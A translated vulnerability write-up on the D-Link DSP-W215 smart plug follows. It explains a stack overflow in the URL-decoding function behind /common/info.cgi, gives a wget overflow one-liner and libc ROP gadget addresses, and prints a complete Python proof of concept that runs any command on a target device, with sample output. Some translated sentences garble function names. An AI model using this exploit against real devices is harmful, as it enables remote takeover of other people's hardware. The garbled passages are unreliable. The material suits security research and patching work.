📜 ⬆️ ⬇️

Hacking the D-Link DSP-W215 Smart Plug. Again and again

Here we are again and again.
image

In the last exploit to DSP-W215, I said that the function get_input_entries did not fall, you need to use the name “storage_path” in the POST request. It had to be done this way because there was another buffer overflow, this time in the get_input_entries function, which get_input_entries calls if the name of the parameter's post is different from “storage_path” or “path”:
image

One function is passed to the replace_special_char function - a pointer to the processed POST value:
image
')
This function deals with URL decoding:
image

To decode a URL, the function retrieves the length of the POST value, which is passed to get_input_entries:
image
post_value_length = strlen (post_data);

And loop through all the bytes of post_value_length:
image

At each iteration, the function saves one decoded (urldecoded) byte, or, if no decoding was required, the original byte of the POST value to the local variable decode_buf on the stack:
image

Essentially doing this:
void replace_special_char(char *post_data) { char decode_buf[0x258]; int post_value_length, i = 0, j = 0; memset(decode_buf, 0, sizeof(decode_buf)); post_value_length = strlen(post_data); while(i < post_value_length) { /* * ... * If post_data[i] == '%', then it's URL encoded; try to decode it here * (as long as the POST data isn't URL encoded, this code does nothing, * so it's not shown). * ... */ // No bounds checking on index j! decode_buf[j] = post_data[i]; j++; i++; } ... return; } 


If we look at the replace_special_char stack, we see that a POST value longer than 612 bytes will fill the entire stack to the first saved register ($ s0), and another 36 bytes will overflow the saved return address ($ ra).
image

 # Overflow $ra with 0x42424242 wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi 


image
$ ra = 0 × 42424242

Due to the fact that the decoding loop uses strlen to determine the required number of bytes for copying to decode_buf, we have to remember about the restriction on the use of the NULL byte in the POST request. This means that the return address that we used in previous exploits will not work, because he request contains NULL-bytes, but we can execute ROP in libc to achieve the same effect.

Inside libc, at offset 0xBA50, is gadget, which points to the $ a1 register on the stack (to $ sp + 0xB8, to be exact), and then jumps to some address that it receives from $ s1:
image
First rop gadget

If we rewrite $ s1 with an offset of 0 × 34640 during a buffer overflow, the program will jump to the next gadget, which will put $ a1 in $ a0 (register with the first argument of the function) and call a function whose address is in $ s0:
image
Second ROP gadget

So, we made sure that $ s0 points to the system () function (at offset 0x4BC80 in libc), which means we can call system () with a pointer to the stack:
 system($sp+0xB8); 


After adding the base libc address (0x2AB61000) to all offsets, we can write and test the PoC for this vulnerability:
 #!/usr/bin/env python # Exploits overflow in replace_special_char. import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "foo=" # POST parameter name can be anything buf += "E" * 612 # Stack filler buf += "\x2A\xBA\xCC\x80" # $s0, address of system() buf += "\x2A\xB9\x56\x40" # $s1, address of ROP2 buf += "F" * 4 # $s2, don't care buf += "F" * 4 # $s3, address of ROP2 buf += "F" * 4 # $s4, don't care buf += "F" * 4 # $s5, address of ROP3 buf += "F" * 4 # $s6, don't care buf += "F" * 4 # $s7, don't care buf += "F" * 4 # $fp, don't care buf += "\x2A\xB6\xCA\x50" # $ra, address of ROP1 buf += "G" * 0xB8 # Stack filler buf += command # Command to execute req = urllib2.Request(url, buf) print urllib2.urlopen(req).read() 


As before, we can execute any commands and get the answer:
 $ ./exploit2.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 22 19:18 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www 

Source: https://habr.com/ru/post/223991/


All Articles